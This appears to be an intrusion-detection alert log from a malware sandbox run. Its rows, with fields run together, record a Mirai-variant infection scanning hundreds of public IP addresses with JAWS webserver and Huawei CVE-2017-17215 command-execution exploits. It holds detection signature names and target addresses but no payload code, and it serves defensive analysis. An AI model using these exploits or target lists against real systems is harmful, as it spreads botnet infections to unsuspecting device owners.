                                                          2024-12-03T23:17:25.991940+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.234584864.40.203.20780TCP
                                                          2024-12-03T23:17:25.991940+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.234584864.40.203.20780TCP
                                                          2024-12-03T23:17:26.022139+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.235016841.195.59.17337215TCP
                                                          2024-12-03T23:17:26.022244+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2343126126.43.59.2880TCP
                                                          2024-12-03T23:17:26.022244+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2343126126.43.59.2880TCP
                                                          2024-12-03T23:17:26.022316+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2337610121.157.120.23280TCP
                                                          2024-12-03T23:17:26.022316+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2337610121.157.120.23280TCP
                                                          2024-12-03T23:17:26.037936+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.234279041.77.221.5337215TCP
                                                          2024-12-03T23:17:26.146044+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2344906197.157.222.19837215TCP
                                                          2024-12-03T23:17:27.059922+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.235945241.70.188.24780TCP
                                                          2024-12-03T23:17:27.059922+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.235945241.70.188.24780TCP
                                                          2024-12-03T23:17:27.060270+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2347844208.186.15.15080TCP
                                                          2024-12-03T23:17:27.060270+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2347844208.186.15.15080TCP
                                                          2024-12-03T23:17:27.075736+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.23381105.15.199.7980TCP
                                                          2024-12-03T23:17:27.075736+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.23381105.15.199.7980TCP
                                                          2024-12-03T23:17:27.075951+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.234202084.239.96.18680TCP
                                                          2024-12-03T23:17:27.075951+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.234202084.239.96.18680TCP
                                                          2024-12-03T23:17:27.075986+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2335188167.147.161.24780TCP
                                                          2024-12-03T23:17:27.075986+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2335188167.147.161.24780TCP
                                                          2024-12-03T23:17:27.091472+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2341410189.239.24.24680TCP
                                                          2024-12-03T23:17:27.091472+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2341410189.239.24.24680TCP
                                                          2024-12-03T23:17:27.091593+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.23383482.224.187.2380TCP
                                                          2024-12-03T23:17:27.091593+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.23383482.224.187.2380TCP
                                                          2024-12-03T23:17:27.091738+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2343240173.199.149.7080TCP
                                                          2024-12-03T23:17:27.091738+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2343240173.199.149.7080TCP
                                                          2024-12-03T23:17:27.092022+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.233547667.246.218.18080TCP
                                                          2024-12-03T23:17:27.092022+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.233547667.246.218.18080TCP
                                                          2024-12-03T23:17:27.092023+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.233898294.6.220.16580TCP
                                                          2024-12-03T23:17:27.092023+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.233898294.6.220.16580TCP
                                                          2024-12-03T23:17:27.100404+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2342442153.215.217.21480TCP
                                                          2024-12-03T23:17:27.100404+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2342442153.215.217.21480TCP
                                                          2024-12-03T23:17:27.101551+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.234203698.133.89.8980TCP
                                                          2024-12-03T23:17:27.101551+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.234203698.133.89.8980TCP
                                                          2024-12-03T23:17:27.142597+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2348534209.208.34.15580TCP
                                                          2024-12-03T23:17:27.142597+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2348534209.208.34.15580TCP
                                                          2024-12-03T23:17:27.163216+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2339350184.43.27.15080TCP
                                                          2024-12-03T23:17:27.163216+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2339350184.43.27.15080TCP
                                                          2024-12-03T23:17:27.163281+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2349720171.127.100.9380TCP
                                                          2024-12-03T23:17:27.163281+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2349720171.127.100.9380TCP
                                                          2024-12-03T23:17:27.178544+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2356728206.252.91.12680TCP
                                                          2024-12-03T23:17:27.178544+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2356728206.252.91.12680TCP
                                                          2024-12-03T23:17:27.178726+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2337154194.73.27.15380TCP
                                                          2024-12-03T23:17:27.178726+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2337154194.73.27.15380TCP
                                                          2024-12-03T23:17:27.178786+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.234250647.133.174.9180TCP
                                                          2024-12-03T23:17:27.178786+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.234250647.133.174.9180TCP
                                                          2024-12-03T23:17:27.178833+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2359392205.172.128.11880TCP
                                                          2024-12-03T23:17:27.178833+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2359392205.172.128.11880TCP
                                                          2024-12-03T23:17:27.184820+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.234154635.30.245.080TCP
                                                          2024-12-03T23:17:27.184820+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.234154635.30.245.080TCP
                                                          2024-12-03T23:17:27.184941+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2334222218.35.230.1280TCP
                                                          2024-12-03T23:17:27.184941+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2334222218.35.230.1280TCP
                                                          2024-12-03T23:17:27.185159+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.235153884.33.234.2680TCP
                                                          2024-12-03T23:17:27.185159+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.235153884.33.234.2680TCP
                                                          2024-12-03T23:17:27.185323+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2352896221.111.52.5680TCP
                                                          2024-12-03T23:17:27.185323+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2352896221.111.52.5680TCP
                                                          2024-12-03T23:17:27.194134+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.23483709.5.252.16180TCP
                                                          2024-12-03T23:17:27.194134+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.23483709.5.252.16180TCP
                                                          2024-12-03T23:17:27.194334+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.235755649.56.31.17480TCP
                                                          2024-12-03T23:17:27.194334+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.235755649.56.31.17480TCP
                                                          2024-12-03T23:17:27.194505+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.235332468.11.208.11580TCP
                                                          2024-12-03T23:17:27.194505+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.235332468.11.208.11580TCP
                                                          2024-12-03T23:17:27.200516+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.234340420.160.160.8180TCP
                                                          2024-12-03T23:17:27.200516+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.234340420.160.160.8180TCP
                                                          2024-12-03T23:17:27.200645+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.235308678.187.111.4180TCP
                                                          2024-12-03T23:17:27.200645+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.235308678.187.111.4180TCP
                                                          2024-12-03T23:17:27.200926+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.234600620.22.209.9380TCP
                                                          2024-12-03T23:17:27.200926+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.234600620.22.209.9380TCP
                                                          2024-12-03T23:17:27.201125+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2357972195.227.222.3080TCP
                                                          2024-12-03T23:17:27.201125+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2357972195.227.222.3080TCP
                                                          2024-12-03T23:17:27.209676+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.234717076.125.89.25580TCP
                                                          2024-12-03T23:17:27.209676+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.234717076.125.89.25580TCP
                                                          2024-12-03T23:17:27.210042+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2349688191.3.17.10780TCP
                                                          2024-12-03T23:17:27.210042+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2349688191.3.17.10780TCP
                                                          2024-12-03T23:17:27.210045+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2354122211.20.207.9080TCP
                                                          2024-12-03T23:17:27.210045+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2354122211.20.207.9080TCP
                                                          2024-12-03T23:17:27.210158+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2351004168.182.83.9080TCP
                                                          2024-12-03T23:17:27.210158+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2351004168.182.83.9080TCP
                                                          2024-12-03T23:17:27.210321+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.235947237.40.144.21680TCP
                                                          2024-12-03T23:17:27.210321+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.235947237.40.144.21680TCP
                                                          2024-12-03T23:17:27.210547+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.234123473.95.184.19380TCP
                                                          2024-12-03T23:17:27.210547+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.234123473.95.184.19380TCP
                                                          2024-12-03T23:17:27.216012+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.23436744.11.180.11780TCP
                                                          2024-12-03T23:17:27.216012+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.23436744.11.180.11780TCP
                                                          2024-12-03T23:17:27.225294+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.235869498.127.211.8880TCP
                                                          2024-12-03T23:17:27.225294+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.235869498.127.211.8880TCP
                                                          2024-12-03T23:17:27.225414+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.233580245.201.163.13680TCP
                                                          2024-12-03T23:17:27.225414+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.233580245.201.163.13680TCP
                                                          2024-12-03T23:17:27.225644+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2343442103.131.6.12180TCP
                                                          2024-12-03T23:17:27.225644+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2343442103.131.6.12180TCP
                                                          2024-12-03T23:17:27.388461+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.233505445.16.173.15580TCP
                                                          2024-12-03T23:17:27.388461+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.233505445.16.173.15580TCP
                                                          2024-12-03T23:17:27.428616+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2338302220.61.134.8780TCP
                                                          2024-12-03T23:17:27.428616+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2338302220.61.134.8780TCP
                                                          2024-12-03T23:17:27.428669+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2342338166.46.200.18380TCP
                                                          2024-12-03T23:17:27.428669+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2342338166.46.200.18380TCP
                                                          2024-12-03T23:17:28.013570+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2349830197.129.239.15337215TCP
                                                          2024-12-03T23:17:28.022369+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2336338156.179.25.19937215TCP
                                                          2024-12-03T23:17:28.022439+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2357924156.11.211.8437215TCP
                                                          2024-12-03T23:17:28.028692+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2353672197.206.30.9237215TCP
                                                          2024-12-03T23:17:28.028812+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.235920841.131.100.11237215TCP
                                                          2024-12-03T23:17:28.038139+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2358706156.188.91.937215TCP
                                                          2024-12-03T23:17:28.038211+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.234945641.175.188.12937215TCP
                                                          2024-12-03T23:17:28.044308+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.234334241.146.113.3937215TCP
                                                          2024-12-03T23:17:28.044626+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.234515841.64.62.17537215TCP
                                                          2024-12-03T23:17:28.053485+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.233378841.24.229.9437215TCP
                                                          2024-12-03T23:17:28.073211+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2333388197.7.25.5937215TCP
                                                          2024-12-03T23:17:29.162930+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.233360241.15.117.18737215TCP
                                                          2024-12-03T23:17:29.169415+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2354784197.133.234.1537215TCP
                                                          2024-12-03T23:17:29.225406+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2352426197.56.85.3637215TCP
                                                          2024-12-03T23:17:29.294395+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2338088156.202.114.11837215TCP
                                                          2024-12-03T23:17:29.303539+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2338500156.8.109.11137215TCP
                                                          2024-12-03T23:17:29.303660+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.233692841.195.120.10837215TCP
                                                          2024-12-03T23:17:29.303765+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2351536156.48.81.1337215TCP
                                                          2024-12-03T23:17:29.325555+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.235515241.9.247.14637215TCP
                                                          2024-12-03T23:17:29.325627+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2341380197.85.202.737215TCP
                                                          2024-12-03T23:17:29.366186+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2354328197.22.34.24037215TCP
                                                          2024-12-03T23:17:29.381829+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2334710197.185.18.9637215TCP
                                                          2024-12-03T23:17:29.381953+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.235513641.142.83.14137215TCP
                                                          2024-12-03T23:17:29.416277+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2336816197.27.4.17237215TCP
                                                          2024-12-03T23:17:30.123284+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2344406156.182.64.1137215TCP
                                                          2024-12-03T23:17:30.123498+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.233310041.106.66.3637215TCP
                                                          2024-12-03T23:17:30.123553+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2345314197.254.73.3737215TCP
                                                          2024-12-03T23:17:30.148391+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2346982197.175.236.2037215TCP
                                                          2024-12-03T23:17:30.148405+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2334130156.98.42.6137215TCP
                                                          2024-12-03T23:17:30.153775+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2348574197.181.229.7637215TCP
                                                          2024-12-03T23:17:30.153905+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.235813841.73.137.6837215TCP
                                                          2024-12-03T23:17:30.154100+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2346532197.77.85.15637215TCP
                                                          2024-12-03T23:17:30.154286+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2343064197.250.32.1637215TCP
                                                          2024-12-03T23:17:30.154370+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.235801041.121.239.12937215TCP
                                                          2024-12-03T23:17:30.154491+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2338230197.109.244.3037215TCP
                                                          2024-12-03T23:17:30.162965+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.235642641.189.143.3637215TCP
                                                          2024-12-03T23:17:30.169482+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2342334156.21.28.1637215TCP
                                                          2024-12-03T23:17:30.169701+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2359082197.63.34.4337215TCP
                                                          2024-12-03T23:17:30.169814+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2347788156.144.206.3537215TCP
                                                          2024-12-03T23:17:30.169929+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.233705241.16.119.24037215TCP
                                                          2024-12-03T23:17:30.170047+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.236082641.34.205.637215TCP
                                                          2024-12-03T23:17:30.170146+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2357674197.108.41.10637215TCP
                                                          2024-12-03T23:17:30.170258+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2353952197.223.164.21137215TCP
                                                          2024-12-03T23:17:30.170484+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2344030197.194.163.237215TCP
                                                          2024-12-03T23:17:30.170721+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.235110041.144.216.6337215TCP
                                                          2024-12-03T23:17:30.178586+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2335804156.103.117.9037215TCP
                                                          2024-12-03T23:17:30.178758+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2342074197.35.164.9137215TCP
                                                          2024-12-03T23:17:30.178878+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2339882156.112.192.11737215TCP
                                                          2024-12-03T23:17:30.178989+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.233364641.126.177.23837215TCP
                                                          2024-12-03T23:17:30.179063+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2346628156.159.216.337215TCP
                                                          2024-12-03T23:17:30.179186+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.235607241.63.113.20837215TCP
                                                          2024-12-03T23:17:30.184830+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2340458197.130.252.24137215TCP
                                                          2024-12-03T23:17:30.194263+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2360578197.250.187.537215TCP
                                                          2024-12-03T23:17:30.194333+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.234571441.25.222.4637215TCP
                                                          2024-12-03T23:17:30.200846+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2338598197.42.164.10637215TCP
                                                          2024-12-03T23:17:30.200853+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2344334197.153.112.16637215TCP
                                                          2024-12-03T23:17:30.201055+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2339758197.109.50.17137215TCP
                                                          2024-12-03T23:17:30.201222+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2333832156.181.177.18237215TCP
                                                          2024-12-03T23:17:30.201285+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2354330156.108.252.8537215TCP
                                                          2024-12-03T23:17:30.201421+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.235100641.73.221.137215TCP
                                                          2024-12-03T23:17:30.201605+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2360232197.81.67.2237215TCP
                                                          2024-12-03T23:17:30.209708+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2358756197.132.16.25137215TCP
                                                          2024-12-03T23:17:30.209895+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2341714197.243.134.13037215TCP
                                                          2024-12-03T23:17:30.210178+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2337344197.67.47.5837215TCP
                                                          2024-12-03T23:17:30.210323+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2349134197.154.107.6237215TCP
                                                          2024-12-03T23:17:30.210530+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.233320841.217.194.9437215TCP
                                                          2024-12-03T23:17:30.210709+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2342196156.209.173.11637215TCP
                                                          2024-12-03T23:17:30.210922+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2350110156.39.63.24237215TCP
                                                          2024-12-03T23:17:30.216461+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2343296156.32.193.22937215TCP
                                                          2024-12-03T23:17:30.216591+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2341160156.166.112.9537215TCP
                                                          2024-12-03T23:17:30.216773+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2351728156.245.85.2837215TCP
                                                          2024-12-03T23:17:30.225387+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2345548156.90.20.16537215TCP
                                                          2024-12-03T23:17:30.225602+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.233736441.255.55.13737215TCP
                                                          2024-12-03T23:17:30.225713+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.235963841.246.157.7437215TCP
                                                          2024-12-03T23:17:30.225846+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.235841841.88.103.22737215TCP
                                                          2024-12-03T23:17:30.226034+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2347864156.139.41.13537215TCP
                                                          2024-12-03T23:17:30.241180+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2335122156.253.218.2937215TCP
                                                          2024-12-03T23:17:30.241228+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2355238197.216.98.13237215TCP
                                                          2024-12-03T23:17:30.241340+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.233705441.95.229.14937215TCP
                                                          2024-12-03T23:17:30.256852+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2344436156.41.120.2337215TCP
                                                          2024-12-03T23:17:30.272520+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2353128197.188.248.6437215TCP
                                                          2024-12-03T23:17:30.272579+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2348044156.98.11.5337215TCP
                                                          2024-12-03T23:17:30.341254+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.233867861.36.233.080TCP
                                                          2024-12-03T23:17:30.341254+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.233867861.36.233.080TCP
                                                          2024-12-03T23:17:30.413515+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2353146197.96.84.237215TCP
                                                          2024-12-03T23:17:30.419415+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2354128197.42.153.20337215TCP
                                                          2024-12-03T23:17:30.466355+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2356806213.243.183.20880TCP
                                                          2024-12-03T23:17:30.466355+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2356806213.243.183.20880TCP
                                                          2024-12-03T23:17:30.475506+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2347970156.201.223.837215TCP
                                                          2024-12-03T23:17:30.497559+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.234807446.219.253.580TCP
                                                          2024-12-03T23:17:30.497559+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.234807446.219.253.580TCP
                                                          2024-12-03T23:17:30.528897+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2350980221.155.112.7680TCP
                                                          2024-12-03T23:17:30.528897+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2350980221.155.112.7680TCP
                                                          2024-12-03T23:17:30.553575+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2351288155.0.32.3780TCP
